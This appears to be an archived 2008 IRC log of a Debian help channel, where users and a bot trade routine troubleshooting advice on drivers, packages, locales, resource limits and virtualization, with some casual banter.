| 00:00.12 | \amethyst | rysiek|pl: unfortunately that doesn't tell you which rlimit corresponds to which ulimit option |
| 00:00.27 | TTimo | hey ... is there a way I can remount the root filesystem as readonly? I'm trying to get a partimage out of my live root partition .. when I issue "mount -o remount,ro /" I get a "mount: / is busy" |
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| 00:00.40 | \amethyst | rysiek|pl: RLIMIT_AS is -v, RLIMIT_RSS is -m, and RLIMIT_DATA is -d |
| 00:00.46 | rysiek|pl | \amethyst: that should do it, thanks! |
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| 00:01.00 | \amethyst | rysiek|pl: in particular, RLIMIT_RSS (ulimit -m) does nothing on modern Linux |
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| 00:02.53 | rysiek|pl | last thing: is there a way to get info on a given process in terms of how much memory it uses, divided into data, stack, vsize, etc? |
| 00:02.57 | deever | is there a way to ifup a bridge without any children? |
| 00:02.59 | deever | in /etc/network/interfaces, bridge_ports cannot be omitted or left empty |
| 00:03.14 | \amethyst | rysiek|pl: ps v |
| 00:03.28 | \amethyst | rysiek|pl: though that doesn't show everything |
| 00:03.40 | rysiek|pl | \amethyst: you, good sir, are my one-time hero today |
| 00:04.09 | \amethyst | rysiek|pl: also /proc/<pid>/maps for more low-level information |
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| 00:07.23 | adb | TTimo: boot in single-user mode |
| 00:07.38 | TTimo | adb: will that get me a running ssh? |
| 00:07.46 | TTimo | I don't have ipkvm to the box, it's remote |
| 00:08.04 | adb | i dunno |
| 00:08.14 | TTimo | is there a command I can run to sync the FS to the drive maybe |
| 00:08.29 | adb | rsync ? |
| 00:08.46 | TTimo | no, since the FS buffers to force a write of all the data on disk |
| 00:08.51 | TTimo | I want to back it up |
| 00:08.58 | TTimo | sync |
| 00:09.14 | infinity1 | anyone have luck with ionice? |
| 00:09.39 | infinity1 | i nice'ed and ioniced a proecss and its obvious the process is still running |
| 00:09.44 | infinity1 | its a bzip2 process |
| 00:13.08 | kingsley | When a system has more than one network interface, how does dnsmask know which IP address to give out for itself? |
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| 00:19.25 | CutMeOwnThroat | infinity1, if you want it to stop to run, you must kill it - either for good, or you can stop it with kill -STOP |
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| 00:20.03 | infinity1 | CutMeOwnThroat: i'm trying to make the process run, but not noticable to the system performance |
| 00:20.05 | CutMeOwnThroat | renicing is not meant to stop processes, only to set priorities |
| 00:20.39 | CutMeOwnThroat | never tried ionice, though |
| 00:20.47 | infinity1 | CutMeOwnThroat: basically, processing log files on a web server takes forever and its still causing the server to be sluggish after renice and ionice |
| 00:21.02 | CutMeOwnThroat | hm, is this oldish hardware? |
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| 00:21.25 | infinity1 | CutMeOwnThroat: pretty new kernel and hardware |
| 00:21.38 | CutMeOwnThroat | then you should check if the harddisks have DMA enabled... that used to be the cause for such behavior in 90% of the cases |
| 00:21.57 | CutMeOwnThroat | well... then it's normally SATA which is always DMA enabled |
| 00:22.46 | infinity1 | hmmm |
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| 00:23.01 | infinity1 | drives are sata in software raid1 |
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| 00:25.09 | pmzdotz | how can i make iwconfig to show the wlireless interface. i've installed the driver and ndiswrapper and modprobed it |
| 00:25.11 | infinity1 | scsi 0:0:0:0: Direct-Access ATA ST3160812AS J PQ: 0 ANSI: 5 |
| 00:25.15 | infinity1 | looks like DMA is enabled |
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| 00:25.31 | rysiek|pl | pmzdotz: ifconfig -a |
| 00:25.39 | rysiek|pl | pmzdotz: I guess it's not "up" yet? |
| 00:25.44 | CutMeOwnThroat | infinity1, hdparm -I also still works.... |
| 00:25.46 | nullboy | pmzdotz: iwconfig should show it if everything thing is working |
| 00:25.52 | nullboy | rysiek|pl: iwconfig is not ifconfig |
| 00:26.11 | rysiek|pl | nullboy: testing if it's there at all |
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| 00:26.24 | pmzdotz | yes, none of them show it, how can i trouble shoot this? |
| 00:26.26 | nullboy | rysiek|pl: iwconfig would be the place to look first |
| 00:26.29 | infinity1 | CutMeOwnThroat: er sdparm |
| 00:26.36 | nullboy | pmzdotz: what does dmesg show you? |
| 00:27.01 | pmzdotz | shows registered ndiswrapper |
| 00:27.08 | CutMeOwnThroat | infinity1, the only other thing I've see on my laptop that would cause very slow behavior was a broken kernel module, that in effect just wrote thousands of messages to syslog - that and whatever happened repetitively in the kernel slowed things to a crawl |
| 00:27.14 | nullboy | pmzdotz: any interfaces? |
| 00:27.32 | pmzdotz | in dmesg? |
| 00:27.39 | infinity1 | CutMeOwnThroat: the system is fine if i kill the process. otherwise its somewhat slow. |
| 00:27.51 | CutMeOwnThroat | infinity1, no, hdparm... they're not real scsi disks... most of the stuff in hdparm doesn't work with SATA anymore, but hdparm -I still normally does |
| 00:27.52 | infinity1 | i think bzip is mostly CPU, not disk |
| 00:28.03 | infinity1 | CutMeOwnThroat: hdparm errors |
| 00:28.04 | pmzdotz | nullboy, in dmesg? there does not seem any |
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| 00:28.47 | CutMeOwnThroat | infinity1, well, weird - high CPU usage is normally not a problem if it's reniced low enough |
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| 00:30.25 | CutMeOwnThroat | infinity1, weird - hdparm -I /dev/sda works fine for my sata disks |
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| 00:31.27 | CutMeOwnThroat | infinity1, hm, perhaps the drive has a problem, you could check SMART, too.... it's unlikely, but I can't think of anything likely :) |
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| 00:31.43 | infinity1 | CutMeOwnThroat: both drives don't work with hdparm. hmm |
| 00:32.17 | CutMeOwnThroat | infinity1, that's what hdparm /dev/sda shows for me: http://pastebin.com/f7cef17c9 |
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| 00:32.49 | CutMeOwnThroat | ... which is actually suspicious, because DMA Setup Auto-Activate optimization is off |
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| 00:33.30 | CutMeOwnThroat | err |
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| 00:33.36 | CutMeOwnThroat | I meant hdparm -I /dev/sda |
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| 00:34.31 | px | Hi, my system won't boot up, it's complaining about udev.conf not being there, but when I use a bootcd and mount the drive the udev.conf is there. Is there an easy way to restore /etc/udev to a stock installation? |
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| 00:37.06 | r0ny | hey i run apt-get update and apt-get upgrade,now the its throwing error like |
| 00:37.07 | r0ny | /usr/bin/service: line 5: /etc/init.d/httpd: No such file or directory |
| 00:37.33 | r0ny | any thoughts? |
| 00:38.46 | CutMeOwnThroat | px, not sure about udev... there's a lot of packages adding stuff - normally you use apt-get -o DPkg::Options::="--force-confmiss" --reinstall install <packagename> when the configuration files of a package were deleted |
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| 00:39.27 | px | CutMeOwnThroat: sounds good i'll try that out, brb |
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| 00:39.52 | CutMeOwnThroat | only one... wtf is /usr/bin/service |
| 00:40.56 | abrotman | r0ny: paste all the output in a pastebin |
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| 00:41.31 | deever | is there a way to ifup a bridge without any children? |
| 00:41.33 | deever | in /etc/network/interfaces, bridge_ports cannot be omitted or left empty |
| 00:41.43 | pmzdotz | why ndiswrapper -l shows only the driver but does not print device xxx present? |
| 00:41.56 | pmzdotz | how can i fix that? |
| 00:42.11 | abrotman | deever: did you ask ##linux .. you've been asking for quite awhile here |
| 00:42.49 | Artificialsynaps | Anyone know of a Debian application that will record music playing on your box? |
| 00:42.54 | CutMeOwnThroat | mmm apt-file tells me Can't get http://security.debian.org/dists/stable/updates/Contents-i386.gz |
| 00:43.01 | Artificialsynaps | Like if I wanted to sample a track that was playing |
| 00:43.02 | abrotman | Artificialsynaps: you ran away last night before i could tell you |
| 00:43.09 | Artificialsynaps | Oh no! |
| 00:43.13 | Artificialsynaps | Sorry man, haha. |
| 00:43.13 | deever | abrotman: would posting to #linux be useful? since ifup/down is debian-specific |
| 00:43.15 | abrotman | Artificialsynaps: kluppe |
| 00:43.22 | abrotman | deever: bridging is not |
| 00:43.46 | Artificialsynaps | Wow! |
| 00:43.52 | Artificialsynaps | That's exactly what I'm looking for |
| 00:43.54 | abrotman | doesn't use bridge_ports for bridging |
| 00:44.00 | Artificialsynaps | You're 2 for 0 man thanks again! |
| 00:44.07 | abrotman | 2 for 0 ? |
| 00:44.29 | deever | abrotman: but bridging is not my problem, my problem is how to create an empty bridge with ifup (/etc/network/interfaces) |
| 00:44.40 | Guerin | abrotman: 2 successes out of 0 attempts |
| 00:44.43 | Artificialsynaps | You fixed my flash problem yesturday! |
| 00:44.44 | abrotman | why would you create an empty one |
| 00:44.48 | Guerin | abrotman: i think that deserves a beer |
| 00:44.54 | abrotman | Guerin: i uh .. try? :) |
| 00:44.59 | Artificialsynaps | And yeah it definently does |
| 00:45.14 | CutMeOwnThroat | abrotman, speaking of your hobbies... |
| 00:45.22 | abrotman | ? |
| 00:45.34 | CutMeOwnThroat | (beer) |
| 00:45.37 | Guerin | mention of beer |
| 00:45.38 | abrotman | oh |
| 00:45.40 | Guerin | heh |
| 00:45.43 | Guerin | mine too |
| 00:45.54 | Guerin | speaking of which, I have to bottle my latest 'ade today |
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| 00:46.41 | r0ny | abrotman: now the scenario changed ,it says the service started..but when starting it again,it says pid is not found and says again it is started,but i cant see any apache processes |
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| 00:48.10 | charlie- | My /etc/apache2/mods-available seems to have dissapeared, is there a way to get it back? |
| 00:49.05 | Guerin | charlie-: restore it from your backups |
| 00:49.14 | charlie- | Guerin, funny |
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| 00:49.25 | abrotman | r0ny: still need the output |
| 00:49.33 | Guerin | charlie-: what's funny? |
| 00:49.42 | abrotman | charlie-: /msg dpkg confmiss .. package is apache2.2-common |
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| 00:49.58 | charlie- | Guerin, if I had backups, I wouldn't be asking how to reinstall the files, jackass |
| 00:50.44 | Guerin | charlie-: that doesn't hold. Anyway, the next question is: why don't you? If you can't back up 1MB worth of critical textfiles in /etc, what use are you to the world at large? |
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| 00:51.16 | charlie- | Guerin, If I had important files there that were irreplacable, then i would back them up. |
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| 00:52.53 | koopsta | hi, which cds do i need to do a base install + dev tools? |
| 00:53.04 | Guerin | koopsta: 1 |
| 00:53.24 | koopsta | fantastic |
| 00:53.27 | koopsta | cheers |
| 00:53.31 | Guerin | (you might want 2 as well, for some bits and pieces, but once you have 1 and a network you're golden) |
| 00:53.40 | pmzdotz | why ndiswrapper -l shows only the driver but does not print device xxx present? how can i fix it? |
| 00:53.42 | koopsta | will grab it now |
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| 00:53.57 | Guerin | koopsta: better yet, use the netinstall |
| 00:54.44 | koopsta | nah i want the media around , will be setting it up on a few boxes :) |
| 00:55.29 | abrotman | pmzdotz: what is this device that requires ndiswrapper ? |
| 00:55.42 | abrotman | koopsta: you might want to setup an apt-proxy also |
| 00:55.49 | pmzdotz | wireless interface |
| 00:55.52 | abrotman | if bandwidth is limited |
| 00:55.55 | abrotman | pmzdotz: which is ? |
| 00:56.05 | pmzdotz | intel pro 2200bg |
| 00:56.22 | pmzdotz | i've installed it but does not seem correct |
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| 00:57.03 | pmzdotz | abrotman, iwconfig does not list the device |
| 00:57.06 | px | CutMeOwnThroat: that apt-get line helped, that got rid of the parse errors after fully removing /etc/udev now it's just stuck on "Begin: waiting for root filesystem" |
| 00:57.18 | abrotman | pmzdotz: etch ? |
| 00:57.21 | pmzdotz | yes |
| 00:57.35 | abrotman | pmzdotz: do you have contrib non-free sources ? |
| 00:57.43 | pmzdotz | no |
| 00:57.53 | abrotman | pmzdotz: uname -a |
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| 00:58.47 | abrotman | or not |
| 01:00.09 | abrotman | pmzdotz: at least `uname -r` |
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| 01:01.20 | pmzdotz | abrotman, that is it |
| 01:01.38 | abrotman | wha tis ? |
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| 01:01.49 | pmzdotz | result of uname -r |
| 01:01.55 | abrotman | i didn't see them |
| 01:02.07 | pmzdotz | 2.6.18-6-686 |
| 01:02.19 | abrotman | !info ipw2200-modules-2.6-686 etch |
| 01:02.42 | dpkg | ipw2200-modules-2.6-686: (Intel PRO/Wireless 2200 and 2915ABG (ipw2200) driver modules for Linux 2.6 on PPro/Celeron/PII/PIII/P4), section contrib/admin, is optional. Version: 2:2.6.18-4+etch3 (etch), Packaged size: 2 kB, Installed size: 32 kB |
| 01:02.50 | abrotman | pmzdotz: see .. modules already installed |
| 01:02.56 | abrotman | !tell pmzdotz about contrib |
| 01:03.00 | abrotman | setup contrib sources |
| 01:03.17 | pmzdotz | how to check if module is installed? |
| 01:03.24 | abrotman | pmzdotz: you have to install them |
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| 01:03.29 | abrotman | pmzdotz: you have to setup contrib sources |
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| 01:03.41 | mino | hi guys :) how can i change the locales as user of my shell? |
| 01:03.53 | mino | i havent root |
| 01:04.30 | CutMeOwnThroat | export LANG=country code |
| 01:04.34 | pmzdotz | let me try that |
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| 01:05.06 | FredZ | Is there a virual package I can install that will give me all (most) of the packages needed to compile applications from source? |
| 01:05.11 | mino | CutMeOwnThroat: does that overwrite also LC_NUMERIC, LC_ALL and so on ? |
| 01:05.20 | Guerin | !b-e FredZ |
| 01:05.21 | dpkg | FredZ: Sounds like you need to aptitude install build-essential. |
| 01:05.22 | CutMeOwnThroat | not country code as such normall somethig like LANG=DE_de |
| 01:05.33 | FredZ | TY |
| 01:05.54 | mino | CutMeOwnThroat: LANG=de_DE@euro ? |
| 01:05.59 | pmzdotz | abrotman, sources.list has main contrib, will that do? |
| 01:06.04 | CutMeOwnThroat | mino, no - there's also LC_CTYPE, that determines which characters are valid (LANG sets the language of manpages etc, I think( |
| 01:06.06 | adb | <PROTECTED> |
| 01:06.19 | abrotman | pmzdotz: yep .. `aptitude update && aptitude install ipw2200-modules-2.6-686` |
| 01:07.12 | CutMeOwnThroat | mino, of course, only works if they are actually installed on the system |
| 01:07.21 | mino | CutMeOwnThroat: so if i want to override the whole set of language specific things i just need to export them all |
| 01:07.56 | CutMeOwnThroat | mino, and put it in .profile // .bashrc to get it permanently |
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| 01:08.11 | mino | CutMeOwnThroat: i think i got it i just did export LANG=de_DE and he automaticly overwrite the other with the right values |
| 01:08.29 | CutMeOwnThroat | I don't think so |
| 01:08.36 | pmzdotz | abrotman, ok, installed it what is the next step, ndiswrapper -l still no device |
| 01:08.44 | abrotman | reboot ... enjoy wifi |
| 01:08.47 | CutMeOwnThroat | they're enviroment variables... they don't magically change |
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| 01:09.00 | mino | CutMeOwnThroat: but all the other values are changed also to german from POSIX |
| 01:09.07 | pmzdotz | abrotman, me reboot? |
| 01:09.29 | abrotman | yes |
| 01:09.32 | pmzdotz | thanks |
| 01:09.34 | smacnay | if the virtualbox modules are now outdated for my kernel (both are the same version but my kernel just had an update last night) - would it be wise to install the virtualbox-ose source and use m-a to install them? |
| 01:09.47 | mino | CutMeOwnThroat: he had set LC_CTYPE=de_DE@euro |
| 01:10.01 | mino | and that is exactly what i want :) great help thanks |
| 01:11.12 | CutMeOwnThroat | *shrug* not for me, and it also doesn't work that way... but if it works for you |
| 01:11.14 | adb | smacnay: no |
| 01:12.30 | adb | install virtualbox-ose-modules-`uname-r` |
| 01:14.03 | Iradieh | http://www.youtube.com/watch?v=-0Ugb3fP7Ho&feature=related does anyone know what the backgroundmusic is called |
| 01:14.24 | abrotman | Iradieh: wrong channel? |
| 01:14.33 | Iradieh | abrotman: trying to find a lead :& |
| 01:14.34 | Iradieh | <PROTECTED> |
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| 01:15.40 | Iradieh | nevermind |
| 01:15.46 | Iradieh | .. said so in the info x) lol how did I miss t hat |
| 01:16.49 | smacnay | adb: ok, thanks for the advice |
| 01:16.51 | soulkiller | hey can anyone tell me or recommend what version of debian I should go with either stable or testing keep in mind I'm looking for whichever one supports wireless better |
| 01:17.20 | adb | smacnay: welcome |
| 01:17.58 | smacnay | adb: I have never used vbox and was trying to set it up last night, only to get the module mismatch error - I was a little bummed. |
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| 01:19.14 | Iradieh | odder_: Testing has more firmwares in it |
| 01:19.16 | Iradieh | soulkiller: * |
| 01:19.22 | Iradieh | soulkiller: Testing has more firmwares in it |
| 01:19.27 | soulkiller | cool thanks |
| 01:19.49 | soulkiller | so testing would be better for wireless in general then! |
| 01:19.54 | CutMeOwnThroat | soulkiller, no |
| 01:20.07 | CutMeOwnThroat | soulkiller, of course it completely depends on your hardware |
| 01:20.26 | soulkiller | well i'm running older wireless router g not n |
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| 01:20.56 | CutMeOwnThroat | not your router... whatever card or usb wireless you have |
| 01:21.42 | soulkiller | yes same thing I'm running dlink wireless network card with dlink wireless router 802.11 abg |
| 01:21.54 | CutMeOwnThroat | I bought a 3com 3crusb10075, which is only in kernels since 2.6.26 .... |
| 01:22.14 | CutMeOwnThroat | !tell soulkiller about wireless |
| 01:22.30 | abrotman | soulkiller: we need to know your wifi model |
| 01:22.48 | soulkiller | my router model or card model |
| 01:23.06 | CutMeOwnThroat | the router doesn't matter... except if you're trying to install debian on the router :) |
| 01:23.14 | abrotman | card model .. we already seaid that |
| 01:23.55 | soulkiller | oh ok cool k model of my card is WDA-1320 dlink wireless card |
| 01:24.25 | [biabia] | help please. i have a dual boot machine with debian and fedora, and the debian install only lets me use resolution of 640x480. |
| 01:24.33 | abrotman | !WDA-1320 |
| 01:24.33 | dpkg | madwifi is a driver for wireless devices with an Atheros chipset. More information at http://madwifi.org/wiki/UserDocs/Distro/Debian. To install madwifi drivers built against Debian stock kernels, ask me about <madwifi-install>. No USB devices are supported. NOT for AR5007UG (aka AR2624/AR5524) chipsets, ask me about <zd1211rw> instead. AR5008 now supported in lenny. http://madwifi.org/wiki/Support, #madwifi @ irc.freenode.net. |
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| 01:24.54 | abrotman | [biabia]: what's your video card? |
| 01:25.03 | abrotman | !tell soulkiller about madwifi one-liner |
| 01:25.09 | abrotman | !tell soulkiller about madwifi install |
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| 01:25.11 | [biabia] | im not sure |
| 01:25.35 | [biabia] | and im not on that machine now. is the video card the likely cuplrit |
| 01:26.05 | soulkiller | thanks abrotman i'll go to madwifi |
| 01:26.26 | adb | smacnay: what does 'uname -r ' ? |
| 01:26.26 | abrotman | [biabia]: yes .. lspci | grep VGA |
| 01:26.58 | [biabia] | i'll write that down and try it on that machine. what should i be looking for as a response to that command |
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| 01:27.51 | [biabia] | its odd because when i boot into fedora the resolution is fine |
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| 01:33.00 | px | after restoring /etc/udev/ and rebooting, the aic7xxx SCSI module isn't loading. it is listed in /etc/modules and ive run update-initramfs -k all -u |
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| 01:36.01 | [biabia] | !image bothell cheerleader |
| 01:36.04 | smacnay | adb: the versions are the same - 2.6.26-1-686 |
| 01:36.56 | smacnay | adb: I am wondering if the latest kernel headers and image update (same version to same version) is the reason? |
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| 01:38.00 | tetraedr | hi |
| 01:38.08 | tetraedr | are there any debs for shoutcast server? |
| 01:38.21 | tetraedr | just default repo from unstable doesn't have it :( |
| 01:38.21 | adb | it seams there is a bug in virtualbox-ose , try a reboot |
| 01:38.33 | abrotman | icecast ? |
| 01:38.37 | adb | smacnay: ^^^ |
| 01:38.50 | tetraedr | abrotman, shoutcast |
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| 01:39.09 | abrotman | thought it was the same .. |
| 01:39.31 | tetraedr | abrotman, just trying to use this: http://www.gentoo.org/doc/en/shoutcast-config.xml and it's definitely not shoutcast |
| 01:39.35 | abrotman | tetraedr: apt-cache show icecast-server |
| 01:39.53 | smacnay | adb: really, a reboot? First time that has been recommended in linux. I will try - thanks |
| 01:40.09 | tetraedr | abrotman, it's an Icecast not SHOUTcast |
| 01:40.18 | soulkiller | is away: busy |
| 01:40.26 | abrotman | !tell soulkiller about away |
| 01:40.56 | abrotman | tetraedr: ICECAST |
| 01:41.05 | tetraedr | abrotman, I need SHOUTcast |
| 01:41.15 | tetraedr | abrotman, I don't need Icecast |
| 01:41.18 | zibri | tetraedr: why? |
| 01:41.19 | abrotman | did you read the icecast-server description yet? |
| 01:41.29 | mimcpher | tetraedr, is shoutcase free software? I'm not sure it meets inclusion requirements for debian. |
| 01:41.29 | abrotman | and if you're using debian, you won't find shoutcast, it's not free enough |
| 01:41.34 | tetraedr | zibri, because it has djcontrol |
| 01:42.07 | tetraedr | mimcpher, no it's not, but I have non-free in sources.list |
| 01:42.07 | FredZ | has anyone had experience with getting iscsitarget-0.4.17 to compile on etch? |
| 01:42.14 | abrotman | it's not in debian at all |
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| 01:42.30 | abrotman | that's why i'm saying icecast .. it's the only shoutcast compatible in debian that i'm aware of |
| 01:42.47 | abrotman | oh .. darkice too |
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| 01:43.02 | tetraedr | abrotman, maybe you can tell me then how to control that thing? (play/stop/next/prev) |
| 01:43.15 | abrotman | nope, don't use it, but i bet it has great docs! |
| 01:43.33 | abrotman | control it from the listener? or from the contoller? |
| 01:43.37 | abrotman | controller |
| 01:44.19 | karsten | abrotman: or from the decider? |
| 01:44.35 | abrotman | from what i know, if you want a system that streams that you can control as a client, you want MPD |
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| 01:44.37 | karsten | abrotman: say, any way I could interest you in a slightly used danish wife? |
| 01:44.42 | tetraedr | geez, it has configs in xml |
| 01:44.53 | abrotman | karsten: does she do anything useful? |
| 01:45.04 | tetraedr | and it has a chat room here :) |
| 01:45.14 | abrotman | or just ignore all the questions |
| 01:45.48 | karsten | abrotman: That depends on your definition of useful. Depending on that definition, "for a while" might be an appropriate answer. |
| 01:47.00 | abrotman | karsten: try Dave2 |
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| 01:47.50 | karsten | abrotman: Could I interest you in a slightly used Dave2? |
| 01:47.56 | karsten | ;-) |
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| 01:48.26 | abrotman | karsten: try danish ex-wife :) |
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| 01:49.08 | karsten | abrotman: she's a "NEW" wife. Non-Ex Wife. |
| 01:49.15 | karsten | has been wed but never married. |
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| 01:55.49 | peteweez | Could anybody possibly tell me what this Xorg error is supposed to mean? symbol lookup error: /usr/lib/xorg/modules/drivers//fglrx_drv.so: undefined symbol: firegl_QueryMCRange |
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| 01:58.15 | adb | CutMeOwnThroat: apt-get -o Apt::Install-Recommends::="false" <packagename> < is a correct command ? |
| 01:59.09 | adb | i meant, i don't "want" installing Recommends packages |
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| 02:01.55 | jtaji | adb: you missed the install command, and this way is a bit easier to type: apt-get --no-install-recommends install packagename, |
| 02:01.58 | abrotman | adb: use aptitude |
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| 02:02.46 | adb | thanks jtaji abrotman ! |
| 02:04.31 | peteweez | Can anyone help me figure out why X can't load fglrx DRI libraries? |
| 02:06.07 | adb | so, aptitude --without-recommends install packagename , do the same things ? |
| 02:06.41 | abrotman | yes |
| 02:07.02 | adb | thanks again abrotman |
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| 02:09.20 | tetraedr | thanks for help |
| 02:09.21 | tetraedr | bye |
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| 02:10.33 | abrotman | did we help? |
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| 02:12.49 | peteweez | OK if nobody here wants to mess with fglrx, could somebody at least tell me what the deal is with the radeonhd driver? |
| 02:13.11 | peteweez | Or tell me what a symbol lookup error is? |
| 02:13.38 | padlamoij | ? |
| 02:14.00 | px | update-initramfs is not updating conf/modules with what's inside of /etc/modules any ideas? |
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| 02:19.13 | peteweez | Holy crap my system is more messed up than I thought |
| 02:19.19 | peteweez | what is this supposed to mean? |
| 02:19.27 | stoned | what do you want to know about ATI |
| 02:19.44 | peteweez | why drm can't modprobe, for starters |
| 02:19.50 | stoned | peteweez, symbol lookup error means kernel/header/ mismatch |
| 02:19.54 | peteweez | but also why fglrx dri lib won't load |
| 02:20.00 | stoned | no symbol == no bulding of module |
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| 02:20.07 | stoned | fglrx == evil |
| 02:20.12 | peteweez | stoned: odd...they compiled successfully against my running kernel |
| 02:20.14 | peteweez | I know, I know |
| 02:20.15 | stoned | peteweez, which video card do you have? |
| 02:20.25 | peteweez | but radeonhd just gives me green blobs on my screen |
| 02:20.30 | peteweez | hold on I'll lspci |
| 02:20.48 | peteweez | <PROTECTED> |
| 02:21.01 | peteweez | it is based on a radeonhd-compatible chip |
| 02:21.07 | stoned | peteweez, you are looking for 3d accel? |
| 02:21.16 | peteweez | DRI, mainly |
| 02:21.20 | peteweez | so I can watch videos |
| 02:21.25 | Guerin | wtf |
| 02:21.27 | peteweez | don't have much use for 3d, honestly |
| 02:21.32 | Guerin | since when did you need dri for videos? |
| 02:21.39 | stoned | you do not require dri |
| 02:21.47 | stoned | you can get by without DRI using radeon |
| 02:21.52 | stoned | radeonhd is iffy these days |
| 02:21.59 | stoned | use radeon driver you will have support |
| 02:22.17 | stoned | only 2d, no 3d accel, as it is an r6x chipset for which there is no opensource 3d accel |
| 02:22.19 | peteweez | I think I've tried radeonhd and radeon |
| 02:22.19 | Guerin | that card with the ordinary radeon driver will work for fullscreen video, using xv |
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| 02:22.24 | stoned | however videos and rest of the stuff works well |
| 02:22.35 | peteweez | radeonhd I get "no screens found" |
| 02:22.40 | peteweez | and it quits |
| 02:22.42 | Guerin | !noscreensfound |
| 02:22.42 | dpkg | i heard noscreensfound is probably dpkg-reconfigure xserver-xorg and SAY NO to the framebuffer question. If that doesn't work, ask me about "troubleshooting x" NOT A SODDING ERROR. read your xorg log to find the actual problem. There will be an earlier error (marked "(EE)") that is the actual problem. |
| 02:22.45 | stoned | you have to check logs |
| 02:22.47 | peteweez | radeon I get green blobs on the screen |
| 02:22.55 | stoned | peteweez, come join #radeon with me |
| 02:23.00 | peteweez | OK |
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| 02:27.22 | uplinx | hello, i need to add my user to the group that has access to the usb devices, what group would that be as default? i really don't want to connect my ipod to gnomad as root all the time |
| 02:27.59 | tmp_ | Do either of the bochs or qemu packages in etch work with tun or tap devices? |
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| 02:30.00 | abrotman | uplinx: which device do you need to acccess ? |
| 02:31.06 | uplinx | abrotman: i have a creative vision: m mp3 player, not sure where it is in /dev/ or /proc/usb/ |
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| 02:31.45 | abrotman | uplinx: what are your current gtoups? |
| 02:32.39 | uplinx | abrotman: my username |
| 02:33.08 | Firefishe | I'm using debian lenny, 2.6.26-1-amd64. I have an Atheros wifi card, and just compiled the module according to instructions. I have ath_pci, ath_hal, and mac80211 modules showing loaded, but `sudo iwconfig' isn't showing any wireless interfaces. |
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| 02:36.13 | px | help plz. i got the necessary SCSI modules to load at boot time, but now the /dev/sda /dev/sda1 aren't being created any ideas? |
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| 02:38.52 | \amethyst | px: look in /dev/disk/by-id Was the disk assigned a different device like /dev/sdb ? |
| 02:39.09 | uplinx | abrotman: ok, it's on bus 003, device 012, owner is root (Bus 003 Device 012: ID 041e:413e Creative Technology, Ltd) |
| 02:39.09 | xota | hi! I think that since I delete evolution from my desktop, the gnom-panel clock doesn't show the calendar. When I try it, gnome-panel crash. How can I solve this crash? |
| 02:40.02 | uplinx | abrotman: -rw-r--r-- 1 root root 57 2008-12-08 20:16 /proc/bus/usb/003/012 |
| 02:40.03 | px | amethyst, there is no /dev/disk on this system, and udev is started |
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| 02:41.04 | abrotman | cute |
| 02:41.11 | abrotman | !tell uplinx about udev rules |
| 02:41.57 | smacnay | virualbox-ose wants to install linux-image-2.6.26-1-486 by default. Can I specify other virtualbox modules to match my current kernel image (2.6.26-1-686)? |
| 02:41.59 | uplinx | thank you |
| 02:43.09 | adb | smacnay: sure , and remove linux-image-2.6.26-1-486 later |
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| 02:43.25 | smacnay | adb: I don't even have that version on the machine. |
| 02:43.47 | px | amethyst thx for help, but it's time to leave work now :) bbl |
| 02:43.47 | adb | smacnay: this is an onother bug in virtualbox ... |
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| 02:44.10 | abrotman | smacnay: dpkg -l linux-image* .. pastebin please |
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| 02:45.57 | smacnay | abrotman: http://pastebin.ca/1280376 |
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| 02:46.38 | abrotman | useless .. COLUMNS=200 dpkg -l linux-image* |
| 02:46.39 | smacnay | abrotman: I am using the 2.6.26-1-686 kernel image and headers - no luck on running the corresponding vbox with modules - I get module mismatch errors |
| 02:47.00 | smacnay | abrotman: sorry - I will try again |
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| 02:47.41 | CutMeOwnThroat | smacnay, you could also apt-get install pastebinit; dpkg -l linux-image* |pastebinit |
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| 02:49.06 | smacnay | abrotman: http://pastebin.ca/1280379 |
| 02:49.24 | abrotman | dman pastebin |
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| 02:50.23 | smacnay | abrotman: did I do something wrong? |
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| 02:51.40 | abrotman | smacnay: paste the command you're using, and the output in paste.debian.net |
| 02:52.00 | smacnay | abrotman: ok |
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| 02:53.39 | uplinx | abrotman: thanks, looked into the rules and the device was part of the audio group. added my user to the audio group and i am good to go |
| 02:53.50 | smacnay | abrotman: http://paste.debian.net/23175 |
| 02:53.51 | abrotman | yay! |
| 02:53.53 | uplinx | abrotman: thanks for the push in the right direction |
| 02:54.13 | abrotman | smacnay: i meant the install command |
| 02:54.15 | tmp_ | Are there any emulator packages for etch that can do networking? I've tried qemu and bochs and gotten nothing. |
| 02:54.19 | abrotman | uplinx: much less hassle :) |
| 02:54.27 | uplinx | abrotman: indeed :D |
| 02:54.27 | abrotman | tmp_: qemu does networking |
| 02:54.49 | tmp_ | Not on etch. |
| 02:55.01 | abrotman | yes it does .. i used qemu with networking on etch |
| 02:55.10 | abrotman | i was even doing bridging at one point |
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| 02:56.44 | smacnay | abrotman: http://paste.debian.net/23176 - I notice that the virtualbox module name is interesting.... |
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| 02:58.14 | tmp_ | abrotman: It's not working here. |
| 02:58.28 | abrotman | you did it wrong |
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| 02:59.17 | tmp_ | abrotman: If so, I would love to know how. All the feedback I've ever gotten says everything is correct. |
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| 03:00.00 | abrotman | you want bridged networking? or just regular ? |
| 03:00.25 | tmp_ | abrotman: Bridged would be ideal. I can work with either. |
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| 03:01.12 | abrotman | http://wiki.freaks-unidos.net/qemu-debian |
| 03:01.40 | abrotman | smacnay: looks perfectly fine |
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| 03:03.05 | abrotman | tmp_: i just used the networking bit .. not the installation bit |
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| 03:05.55 | tmp_ | abrotman: Done all of that that I can. kqemu won't install on this box, but other than that, I've already done everything else. Some of which doesn't work as is, though the modifications to get past the failures are trivial (ownership of tap issues). |
| 03:06.06 | abrotman | won't install ? |
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| 03:06.47 | tmp_ | kqemu is only available for x86 |
| 03:08.03 | abrotman | ah ok |
| 03:10.02 | tmp_ | What's really interesting is that when I boot qemu off a 4.0r4a image, when it gets to querying DHCP the packets it generates show up on stdout. |
| 03:11.50 | tmp_ | Same thing with a 4.0r5 image |
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| 03:16.12 | smacnay | abrotman: install goes without a hitch but actually running vbox falls on its face over module naming. Not sure why. |
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| 03:16.43 | abrotman | smacnay: uname -a |
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| 03:18.11 | theeclipse | Hi guys, I have a problem regarding my Ethernet, it keeps disconnecting after while and then it reconnects again by itself, is there any option in dhclient to avoid this dilemma ? |
| 03:18.39 | smacnay | abrotman: Linux debian 2.6.26-1-686 |
| 03:18.50 | smacnay | abrotman: all seems on the up and up. |
| 03:20.16 | smacnay | abrotman: I will try something else... bbl |
| 03:20.30 | tmp_ | theeclipse: I've never seen that with dhclient. I've seen it when Network Manager gets involved though. |
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| 03:20.44 | smacnay | abrotman: I wonder if I should remove the packaged module and install the source package and use m-a to build it? |
